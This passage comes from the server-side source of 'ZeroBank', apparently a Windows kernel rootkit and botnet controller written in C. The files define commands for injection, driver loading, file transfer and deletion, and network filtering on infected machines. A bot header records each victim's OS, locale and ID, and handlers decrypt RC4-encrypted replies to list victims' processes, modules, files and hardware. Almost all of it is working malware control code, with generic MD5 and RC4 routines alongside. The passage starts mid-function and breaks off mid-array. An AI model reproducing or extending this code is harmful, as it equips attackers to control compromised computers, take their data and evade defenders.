98 | }
99 | else
100 | {
101 | #ifdef _DEBUG
102 | printf("\r\n[!] Error receiving string: %d", RtlGetLastWin32Error());
103 | #endif
104 | ret = FALSE;
105 | }
106 | }
107 | else
108 | {
109 | #ifdef _DEBUG
110 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error());
111 | #endif
112 | ret = FALSE;
113 | }
114 |
115 | return ret;
116 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_file.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | typedef struct _ROOTKIT_FILEEXPLORER_ENTRY {
5 | LIST_ENTRY Entry;
6 | CHAR FileName[255];
7 | CHAR CreateTime[255];
8 | CHAR WriteTime[255];
9 | }ROOTKIT_FILEEXPLORER_ENTRY, *PROOTKIT_FILEEXPLORER_ENTRY;
10 |
11 | typedef struct _ROOTKIT_FILEEXPLORER_LIST_HEAD {
12 | LIST_ENTRY Entry;
13 | ULONG NumberOfElements;
14 | }ROOTKIT_FILEEXPLORER_LIST_HEAD, *PROOTKIT_FILEEXPLORER_LIST_HEAD;
15 |
16 | BOOLEAN rootkit_get_kernel_fileexplorer(IN SOCKET sock, IN BYTE PacketType);
17 | BOOLEAN rootkit_delete_file(IN SOCKET Socket, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_globals.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | #include "server_ntapi.h"
7 | #include "server_modules.h"
8 | #include "server_file.h"
9 | #include "server_process.h"
10 | #include "server_thread.h"
11 | #include "server_transfer.h"
12 | #include "server_disconnect.h"
13 | #include "server_info.h"
14 | #include "server_rc4.h"
15 | #include "server_md5.h"
16 | #include "server_cmd.h"
17 | #include "server_connections.h"
18 | #include "server_tdifilter.h"
19 | #include "server_sendrequests.h"
20 |
21 |
22 | #pragma comment(lib,"ws2_32.lib")
23 |
24 |
25 | #define ZB_INJECT 1
26 | #define ZB_KERNEL_TO_USER_TRANSFER 2
27 | #define ZB_USER_TO_KERNEL_TRANSFER 3
28 | #define ZB_LOAD_DRIVER 4
29 | #define ZB_DISCONNECT 5
30 | #define ZB_EPROCESS 6
31 | #define ZB_ETHREAD 7
32 | #define ZB_MODULES 8
33 | #define ZB_FILE_EXPLORER 9
34 | #define ZB_DELETE_FILE 10
35 | #define ZB_INTERNAL_SYSTEM_INFORMATION 11
36 | #define ZB_START_TDI_FILTER 12
37 | #define ZB_STOP_TDI_FILTER 13
38 | #define ZB_GET_BOT_CONNECTIONS 14
39 | #define ZB_GET_BOT_SEND_REQUESTS 15
40 |
41 |
42 |
43 | DWORD WINAPI ClientThread(LPVOID lParam);
44 | DWORD WINAPI ServerThread(USHORT Port, PCHAR Ip);
45 | extern RTL_CRITICAL_SECTION g_sec;
46 |
47 |
48 | typedef struct _ZEROBANK_BOT_HEADER
49 | {
50 | CHAR Os[40];
51 | ULONG majorver;
52 | ULONG minorver;
53 | ULONG Build;
54 | CHAR Arch[5];
55 | CHAR BotId[255];
56 | BOOLEAN IsNtServer;
57 | CHAR Locale[255];
58 | CHAR lang[255];
59 | }ZEROBANK_BOT_HEADER, *PZEROBANK_BOT_HEADER;
60 |
61 |
62 | typedef struct _ZEROBANK_PACKET_TYPE
63 | {
64 | UCHAR PacketType;
65 | UINT32 ProcessId_For_ETHREAD_plugin;
66 | UINT32 ProcessId_For_QueryProcessInformation_Plugin;
67 | CHAR FileName_For_FileExplorer_plugin[255];
68 | CHAR FileName_For_File_Transfer[255];
69 | CHAR FileName_For_File_Deletion[255];
70 | }ZEROBANK_PACKET_TYPE, *PZEROBANK_PACKET_TYPE;
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/ZeroBank!server/server_info.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 |
4 | BOOLEAN rootkit_get_sys_information(IN SOCKET sock, IN BYTE PacketType)
5 | {
6 | INT sendsize = 0;
7 | INT recvsize = 0;
8 | ZEROBANK_PACKET_TYPE Packet = { 0 };
9 | PROOTKIT_SYS_INFORMATION sysinfo = NULL, entry = NULL;
10 | PVOID Out = NULL;
11 | char databuffer[255] = { 0 };
12 | char interfacebuffer[255] = { 0 };
13 | BOOLEAN ret;
14 |
15 | Packet.PacketType = PacketType;
16 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&Packet, sizeof(ZEROBANK_PACKET_TYPE));
17 | if (sendsize > 0)
18 | {
19 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_SYS_INFORMATION)entry, sizeof(ROOTKIT_SYS_INFORMATION));
20 | if (Out != NULL)
21 | {
22 | sysinfo = (PROOTKIT_SYS_INFORMATION)Out;
23 | if (sysinfo)
24 | {
25 | printf("\r\n/************ BOT_CONFIGURATION_MANAGER_INFORMATION *************");
26 | printf("\r\n");
27 | printf("\r\n[*] Number Of CdRoms: %lu", sysinfo->NumberOfCdRoms);
28 | printf("\r\n[*] Number Of Disks: %lu", sysinfo->NumberOfDisks);
29 | printf("\r\n[*] Number Of Floppies: %lu", sysinfo->NumberOfFloppies);
30 | printf("\r\n[*] Number Of Parallel Ports: %lu", sysinfo->NumberOfParallelPorts);
31 | printf("\r\n[*] Number Of Serial Ports: %lu", sysinfo->NumberOfSerialPorts);
32 | printf("\r\n[*] Number Of Scsi Ports: %lu", sysinfo->ScsiCount);
33 | printf("\r\n[*] Number Of Tape Drives: %lu", sysinfo->TapeDrivesCount);
34 | printf("\r\n");
35 | printf("\r\n************ BOT_PROCESSOR_MANAGER_INFORMATION **************");
36 | printf("\r\n");
37 | printf("\r\n[*] Ke Active Group Count: %lu", sysinfo->ActiveGroupCount);
38 | printf("\r\n[*] Ke Active Processors: %lu", (ULONG)sysinfo->ActiveProcessors);
39 | printf("\r\n[*] Ke Active Processors Count: %lu", sysinfo->ActiveProcessorsCount);
40 | printf("\r\n[*] Ke Max Processor Count: %lu", sysinfo->MaximunProcessorCount);
41 | printf("\r\n[*] Ke Interrupt Time: %ld", sysinfo->InterruptTime);
42 |
43 | ret = TRUE;
44 | }
45 | }
46 | else
47 | {
48 | printf("\r\n[!] Error allocating and decrypting data: %d", RtlGetLastWin32Error());
49 | ret = FALSE;
50 | }
51 |
52 | }
53 | else
54 | {
55 | printf("\r\n[!] Error sending packet type: %d", RtlGetLastWin32Error());
56 | ret = FALSE;
57 | }
58 |
59 | return ret;
60 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_info.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_SYS_INFORMATION
4 | {
5 | unsigned long NumberOfDisks;
6 | unsigned long NumberOfFloppies;
7 | unsigned long NumberOfCdRoms;
8 | unsigned long NumberOfSerialPorts;
9 | unsigned long NumberOfParallelPorts;
10 | unsigned long TapeDrivesCount;
11 | unsigned long ScsiCount;
12 | unsigned short ActiveGroupCount;
13 | KAFFINITY ActiveProcessors;
14 | unsigned long ActiveProcessorsCount;
15 | unsigned long long InterruptTime;
16 | unsigned long MaximunProcessorCount;
17 |
18 | }ROOTKIT_SYS_INFORMATION, *PROOTKIT_SYS_INFORMATION;
19 |
20 | BOOLEAN rootkit_get_sys_information(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_md5.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | void MD5Init(MD5Context *ctx)
4 | {
5 | ctx->buf[0] = 0x67452301;
6 | ctx->buf[1] = 0xefcdab89;
7 | ctx->buf[2] = 0x98badcfe;
8 | ctx->buf[3] = 0x10325476;
9 |
10 | ctx->bits[0] = 0;
11 | ctx->bits[1] = 0;
12 | }
13 |
14 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len)
15 | {
16 | UINT32 t;
17 |
18 | /* Update bitcount */
19 |
20 | t = ctx->bits[0];
21 | if ((ctx->bits[0] = (t + ((UINT32)len << 3)) & 0xffffffff) < t)
22 | ctx->bits[1]++; /* Carry from low to high */
23 | ctx->bits[1] += len >> 29;
24 |
25 | t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */
26 |
27 | /* Handle any leading odd-sized chunks */
28 |
29 | if (t) {
30 | unsigned char *p = ctx->in + t;
31 |
32 | t = 64 - t;
33 | if (len < t) {
34 | memcpy(p, buf, len);
35 | return;
36 | }
37 | memcpy(p, buf, t);
38 | MD5Transform(ctx->buf, ctx->in);
39 | buf += t;
40 | len -= t;
41 | }
42 | /* Process data in 64-byte chunks */
43 |
44 | while (len >= 64) {
45 | memcpy(ctx->in, buf, 64);
46 | MD5Transform(ctx->buf, ctx->in);
47 | buf += 64;
48 | len -= 64;
49 | }
50 |
51 | /* Handle any remaining bytes of data. */
52 |
53 | memcpy(ctx->in, buf, len);
54 | }
55 |
56 | void MD5Final(unsigned char digest[16], MD5Context *ctx)
57 | {
58 | unsigned count;
59 | unsigned char *p;
60 |
61 | /* Compute number of bytes mod 64 */
62 | count = (ctx->bits[0] >> 3) & 0x3F;
63 |
64 | /* Set the first char of padding to 0x80. This is safe since there is
65 | always at least one byte free */
66 | p = ctx->in + count;
67 | *p++ = 0x80;
68 |
69 | /* Bytes of padding needed to make 64 bytes */
70 | count = 64 - 1 - count;
71 |
72 | /* Pad out to 56 mod 64 */
73 | if (count < 8) {
74 | /* Two lots of padding: Pad the first block to 64 bytes */
75 | memset(p, 0, count);
76 | MD5Transform(ctx->buf, ctx->in);
77 |
78 | /* Now fill the next block with 56 bytes */
79 | memset(ctx->in, 0, 56);
80 | }
81 | else {
82 | /* Pad block to 56 bytes */
83 | memset(p, 0, count - 8);
84 | }
85 |
86 | /* Append length in bits and transform */
87 | PUT_32BIT_LSB_FIRST(ctx->in + 56, ctx->bits[0]);
88 | PUT_32BIT_LSB_FIRST(ctx->in + 60, ctx->bits[1]);
89 |
90 | MD5Transform(ctx->buf, ctx->in);
91 | PUT_32BIT_LSB_FIRST(digest, ctx->buf[0]);
92 | PUT_32BIT_LSB_FIRST(digest + 4, ctx->buf[1]);
93 | PUT_32BIT_LSB_FIRST(digest + 8, ctx->buf[2]);
94 | PUT_32BIT_LSB_FIRST(digest + 12, ctx->buf[3]);
95 | memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
96 | }
97 |
98 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64])
99 | {
100 | register unsigned short a, b, c, d, i;
101 | unsigned short in[16];
102 |
103 | for (i = 0; i < 16; i++)
104 | in[i] = GET_32BIT_LSB_FIRST(inext + 4 * i);
105 |
106 | a = buf[0];
107 | b = buf[1];
108 | c = buf[2];
109 | d = buf[3];
110 |
111 | MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
112 | MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
113 | MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
114 | MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
115 | MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
116 | MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
117 | MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
118 | MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
119 | MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
120 | MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
121 | MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
122 | MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
123 | MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
124 | MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
125 | MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
126 | MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);
127 |
128 | MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
129 | MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
130 | MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
131 | MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
132 | MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
133 | MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
134 | MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
135 | MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
136 | MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
137 | MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
138 | MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
139 | MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
140 | MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
141 | MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
142 | MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
143 | MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);
144 |
145 | MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
146 | MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
147 | MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
148 | MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
149 | MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
150 | MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
151 | MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
152 | MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
153 | MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
154 | MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
155 | MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
156 | MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
157 | MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
158 | MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
159 | MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
160 | MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);
161 |
162 | MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
163 | MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
164 | MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
165 | MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
166 | MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
167 | MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
168 | MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
169 | MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
170 | MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
171 | MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
172 | MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
173 | MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
174 | MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
175 | MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
176 | MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
177 | MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);
178 |
179 | buf[0] += a;
180 | buf[1] += b;
181 | buf[2] += c;
182 | buf[3] += d;
183 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_md5.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define GET_32BIT_LSB_FIRST(cp) (((UINT32)(unsigned char)(cp)[0]) | \
4 | ((UINT32)(unsigned char)(cp)[1] << 8 ) | \
5 | ((UINT32)(unsigned char)(cp)[2] << 16) | \
6 | ((UINT32)(unsigned char)(cp)[3] << 24))
7 |
8 | #define PUT_32BIT_LSB_FIRST(cp, value) do { \
9 | (cp)[0] = (value) & 0xFF; \
10 | (cp)[1] = ((value) >> 8) & 0xFF; \
11 | (cp)[2] = ((value) >> 16) & 0xFF; \
12 | (cp)[3] = ((value) >> 24) & 0xFF; \
13 | } while(0)
14 |
15 | #define F1(x, y, z) (z ^ (x & (y ^ z)))
16 | #define F2(x, y, z) F1(z, x, y)
17 | #define F3(x, y, z) (x ^ y ^ z)
18 | #define F4(x, y, z) (y ^ (x | ~z))
19 | #define MD5STEP(f, w, x, y, z, data, s) ( w += f(x, y, z) + data, w = w<>(32-s), w += x )
20 |
21 | typedef struct _MD5Context
22 | {
23 | UINT32 buf[4];
24 | UINT32 bits[2];
25 | unsigned char in[64];
26 | } MD5Context;
27 |
28 | void MD5Init(MD5Context *ctx);
29 | void MD5Update(MD5Context *ctx, unsigned char const *buf, UINT32 len);
30 | void MD5Final(unsigned char digest[16], MD5Context *ctx);
31 | void MD5Transform(UINT32 buf[4], const unsigned char inext[64]);
--------------------------------------------------------------------------------
/ZeroBank!server/server_modules.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | BOOLEAN rootkit_get_modules(IN SOCKET sock, IN BYTE PacketType)
4 | {
5 | ZEROBANK_PACKET_TYPE typeofpacket = { 0 };
6 | INT sendsize = 0;
7 | INT recvsize = 0;
8 | PROOTKIT_MODULES_LIST_HEAD Entrybuffer = NULL;
9 | PROOTKIT_MODULES_ENTRY entry = NULL, buffer = NULL;
10 | ULONG getsize = 0;
11 | PVOID Out = NULL;
12 | ULONG NumberOfModules = 0;
13 | BOOLEAN ret;
14 |
15 | CHAR ImageBase[30] = { 0 };
16 | CHAR ModulePath[260] = { 0 };
17 | CHAR ModuleName[260] = { 0 };
18 | CHAR ImageSize[30] = { 0 };
19 | CHAR LoadOrderIndex[30] = { 0 };
20 |
21 | char *baseaddress = "ImageBase";
22 | char *path = "Path";
23 | char *module = "Name";
24 | char *size = "ImageSize";
25 | char *order = "LoadOrder";
26 |
27 | typeofpacket.PacketType = PacketType;
28 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&typeofpacket, sizeof(ZEROBANK_PACKET_TYPE));
29 | if (sendsize > 0)
30 | {
31 | recvsize = recv(sock, (char*)&getsize, sizeof(ULONG), 0);
32 | if (recvsize > 0)
33 | {
34 |
35 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_MODULES_ENTRY)buffer, getsize);
36 | if (Out != NULL)
37 | {
38 | entry = (PROOTKIT_MODULES_ENTRY)Out;
39 | if (entry)
40 | {
41 | printf("\r\n");
42 | printf("\r\n%s %10s %30s %50s %10s", baseaddress, size, module, path, order);
43 | printf("\r\n");
44 |
45 | NumberOfModules = getsize / sizeof(ROOTKIT_MODULES_ENTRY);
46 |
47 | for (ULONG i = 0; i < NumberOfModules; i++, entry++)
48 | {
49 | wsprintfA(ImageBase, "\r\n0x%p", entry->ImageBase);
50 | wsprintfA(ImageSize, "%11lu", entry->ImageSize);
51 | wsprintfA(ModuleName, "%30s", entry->ModuleName);
52 | wsprintfA(ModulePath, "%50s", entry->ModulePath);
53 | wsprintfA(LoadOrderIndex, "%11lu", entry->LoadOrderIndex);
54 |
55 | printf(ImageBase);
56 | printf(ImageSize);
57 | printf(ModuleName);
58 | printf(ModulePath);
59 | printf(LoadOrderIndex);
60 |
61 | ret = TRUE;
62 | }
63 | }
64 | RtlFreeHeap(GetProcessHeap(), 0, Out);
65 | Out = NULL;
66 | }
67 | }
68 | else
69 | {
70 | printf("\r\n[!] Error receiving allocation bytes: %d", RtlGetLastWin32Error());
71 | ret = FALSE;
72 | }
73 |
74 | }
75 |
76 | else
77 | {
78 | printf("\r\n[!] Error sending packet type: %d",RtlGetLastWin32Error());
79 | ret = FALSE;
80 | }
81 |
82 | return ret;
83 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_modules.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | typedef struct _ROOTKIT_MODULES_ENTRY {
5 | LIST_ENTRY Entry;
6 | CHAR ModulePath[260];
7 | CHAR ModuleName[260];
8 | PVOID ImageBase;
9 | ULONG ImageSize;
10 | ULONG LoadOrderIndex;
11 | }ROOTKIT_MODULES_ENTRY, *PROOTKIT_MODULES_ENTRY;
12 |
13 | typedef struct _ROOTKIT_MODULES_LIST_HEAD {
14 | LIST_ENTRY Entry;
15 | ULONG NumberOfEntries;
16 | }ROOTKIT_MODULES_LIST_HEAD, *PROOTKIT_MODULES_LIST_HEAD;
17 |
18 | BOOLEAN rootkit_get_modules(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_process.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 |
4 | BOOL rootkit_get_processes(IN SOCKET sock, IN BYTE PacketType)
5 | {
6 | ZEROBANK_PACKET_TYPE packet = { 0 };
7 | PZEROBANK_PACKET_TYPE out = NULL;
8 | PROOTKIT_PROCESS_ENTRY entry = NULL;
9 | PROOTKIT_PROCESS_ENTRY buffer = NULL;
10 | INT sendsize = 0;
11 | INT recvsize = 0;
12 | ULONG getsize = 0;
13 | PROOTKIT_PROCESS_LIST_HEAD entrybuffer = NULL;
14 | PVOID Out = NULL;
15 | ULONG NumberOfProcess = 0;
16 | BOOL ret;
17 | rc4_ctx ctxdec = { 0 };
18 | INT bytesent = 0;
19 |
20 | char *eprocess = "Eprocess";
21 | char *pid = "Pid";
22 | char *ppid = "Ppid";
23 | char *Image = "Process";
24 | char *Time = "CreateTime";
25 | char *Prot = "Protected";
26 |
27 |
28 | packet.PacketType = PacketType;
29 | sendsize = send_packet_encrypted(sock, RC4_KEY_2, (PZEROBANK_PACKET_TYPE)&packet, sizeof(ZEROBANK_PACKET_TYPE));
30 | if (sendsize > 0)
31 | {
32 | // recv bytes for allocation
33 |
34 | recvsize = recv(sock, (char*)&getsize, sizeof(ULONG), 0);
35 | if (recvsize > 0 && getsize > 0)
36 | {
37 | // recv buffer and decrypt it
38 |
39 | Out = recv_decrypted(sock, RC4_KEY_2, (PROOTKIT_PROCESS_ENTRY)buffer, getsize);
40 | if (Out != NULL)
41 | {
42 | // get total number of processes
43 |
44 | NumberOfProcess = getsize / sizeof(ROOTKIT_PROCESS_ENTRY);
45 |
46 | // fill the structure with the memory returned from recv_crypted
47 |
48 | entry = (PROOTKIT_PROCESS_ENTRY)Out;
49 |
50 | printf("\r\n");
51 | printf("\r\n%s %10s %13s %26s %35s %20s", eprocess, pid, ppid, Image, Time, Prot);
52 | printf("\r\n");
53 |
54 | for (ULONG i = 0; i < NumberOfProcess; i++, entry++)
55 | {
56 |
57 | printf("\r\n0x%p %10d %13d %26s %35s %20s",
58 | entry->Eprocess, \
59 | entry->pid, \
60 | entry->ppid, \
61 | entry->ImageFileName, \
62 | entry->ProcessCreationTime, \
63 | entry->IsProcessProtected ? "Yes" : "No");
64 |
65 | ret = TRUE;
66 | }
67 | RtlFreeHeap(GetProcessHeap(), 0, Out);
68 | Out = NULL;
69 | }
70 | }
71 | }
72 | else
73 | {
74 | ret = FALSE;
75 | }
76 |
77 | return ret;
78 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_process.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ROOTKIT_PROCESS_ENTRY {
4 | LIST_ENTRY Entry;
5 | UINT32 pid;
6 | UINT32 ppid;
7 | ULONG_PTR Eprocess;
8 | CHAR ProcessCreationTime[260];
9 | CHAR ImageFileName[50];
10 | BOOLEAN IsProcessProtected;
11 | }ROOTKIT_PROCESS_ENTRY, *PROOTKIT_PROCESS_ENTRY;
12 |
13 | typedef struct _ROOTKIT_PROCESS_LIST_HEAD {
14 |
15 | ULONG NumberOfProcesses;
16 | LIST_ENTRY Entry;
17 | }ROOTKIT_PROCESS_LIST_HEAD, *PROOTKIT_PROCESS_LIST_HEAD;
18 |
19 | BOOL rootkit_get_processes(IN SOCKET sock, IN BYTE PacketType);
--------------------------------------------------------------------------------
/ZeroBank!server/server_rc4.c:
--------------------------------------------------------------------------------
1 | #include "server_globals.h"
2 |
3 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len)
4 | {
5 | uint32 i;
6 | uint8 *s;
7 | uint8 t, tmp;
8 |
9 | t = 0;
10 | s = ctx->se;
11 |
12 | assert(key_len > 0 && key_len <= 256);
13 |
14 | ctx->pose = 1;
15 | ctx->posd = 1;
16 | ctx->te = 0;
17 | ctx->td = 0;
18 |
19 | memcpy(s, rc4_table, 256);
20 |
21 | for (i = 0; i < 256; i++) {
22 | t += s[i] + key[i % key_len];
23 | SWAP(s[i], s[t]);
24 | }
25 |
26 | memcpy(ctx->sd, s, 256);
27 | }
28 |
29 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len)
30 | {
31 | uint32 i;
32 | uint32 pos;
33 | const uint8 *new_src;
34 | uint8 *s, *new_dst;
35 | uint8 t, tmp;
36 |
37 | pos = ctx->pose;
38 | s = ctx->se;
39 | t = ctx->te;
40 |
41 | new_src = src - pos;
42 | new_dst = dst - pos;
43 |
44 | for (i = pos; i < len + pos; i++) {
45 | RC4_CRYPT();
46 | }
47 |
48 | ctx->pose = i;
49 | ctx->te = t;
50 | }
51 |
52 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len)
53 | {
54 | uint32 i;
55 | uint32 pos;
56 | const uint8 *new_src;
57 | uint8 *s, *new_dst;
58 | uint8 t, tmp;
59 |
60 | pos = ctx->posd;
61 | s = ctx->sd;
62 | t = ctx->td;
63 |
64 | new_src = src - pos;
65 | new_dst = dst - pos;
66 |
67 | for (i = pos; i < len + pos; i++) {
68 | RC4_CRYPT();
69 | }
70 |
71 | ctx->posd = i;
72 | ctx->td = t;
73 | }
74 |
75 |
76 | INT send_packet_encrypted(IN SOCKET sock,IN INT keytype, IN PVOID Buffer, IN INT len)
77 | {
78 | PZEROBANK_PACKET_TYPE typeout = NULL;
79 | rc4_ctx ctx = { 0 };
80 | INT sendsize = 0;
81 |
82 | // allocate memory for output buffer
83 |
84 | typeout = (PZEROBANK_PACKET_TYPE)RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ZEROBANK_PACKET_TYPE));
85 | if (typeout != NULL)
86 | {
87 | // zero out the buffer
88 |
89 | RtlSecureZeroMemory(typeout, sizeof(ZEROBANK_PACKET_TYPE));
90 |
91 | // init rc4 context selecting key number previously
92 |
93 | switch (keytype)
94 | {
95 | case RC4_KEY_1:
96 | rc4_init(&ctx, key1, sizeof(key1));
97 | break;
98 | case RC4_KEY_2:
99 | rc4_init(&ctx, key2, sizeof(key2));
100 | break;
101 | case RC4_KEY_3:
102 | rc4_init(&ctx, key3, sizeof(key3));
103 | break;
104 | default:
105 | break;
106 | }
107 |
108 | // encrypt packet-buffer
109 |
110 | rc4_encrypt(&ctx, (const uint8*)Buffer, (uint8*)typeout, len);
111 |
112 | // send buffer
113 |
114 | sendsize = send(sock, (const char*)typeout, len, 0);
115 | if (sendsize <= 0)
116 | return 1;
117 | }
118 |
119 | // free previous allocated memory
120 |
121 | RtlFreeHeap(GetProcessHeap(), 0, typeout);
122 |
123 | return sendsize;
124 | }
125 |
126 |
127 | PVOID recv_decrypted(IN SOCKET sock, IN INT keytype, IN PVOID Alloc, IN ULONG NumberOfBytes)
128 | {
129 | rc4_ctx ctx = { 0 };
130 | int offset = 0;
131 | int amount = 0;
132 | PVOID out = NULL;
133 |
134 | switch (keytype)
135 | {
136 | case RC4_KEY_1:
137 | rc4_init(&ctx, key1, sizeof(key1));
138 | break;
139 | case RC4_KEY_2:
140 | rc4_init(&ctx, key2, sizeof(key2));
141 | break;
142 | case RC4_KEY_3:
143 | rc4_init(&ctx, key3, sizeof(key3));
144 | break;
145 | default:
146 | break;
147 | }
148 |
149 | Alloc = RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, NumberOfBytes);
150 | if (Alloc == NULL)
151 | return 1;
152 |
153 | memset(Alloc, 0, NumberOfBytes);
154 |
155 | while (NumberOfBytes > offset)
156 | {
157 | amount = recv(sock, (char*)Alloc + offset, NumberOfBytes - offset, 0);
158 | if (amount <= 0)
159 | break;
160 | else
161 | offset += amount;
162 | }
163 |
164 | rc4_decrypt(&ctx, (const uint8*)Alloc, (uint8*)Alloc, NumberOfBytes);
165 |
166 | out = Alloc;
167 |
168 | return out;
169 |
170 | }
--------------------------------------------------------------------------------
/ZeroBank!server/server_rc4.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef RC4_H
4 | #define RC4_H
5 | #define assert(ignore)((void) 0)
6 |
7 | #define RC4_KEY_1 1
8 | #define RC4_KEY_2 2
9 | #define RC4_KEY_3 3
10 |
11 | typedef unsigned char uint8;
12 | typedef unsigned int uint32;
13 |
14 |
15 |
16 | typedef struct
17 | {
18 | uint8 se[256], sd[256];
19 | uint32 pose, posd;
20 | uint8 te, td;
21 | } rc4_ctx;
22 |
23 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len);
24 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len);
25 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len);
26 |
27 |
28 |
29 |
30 | #endif /* !RC4_H */
31 |
32 | static const uint8 rc4_table[256] = {
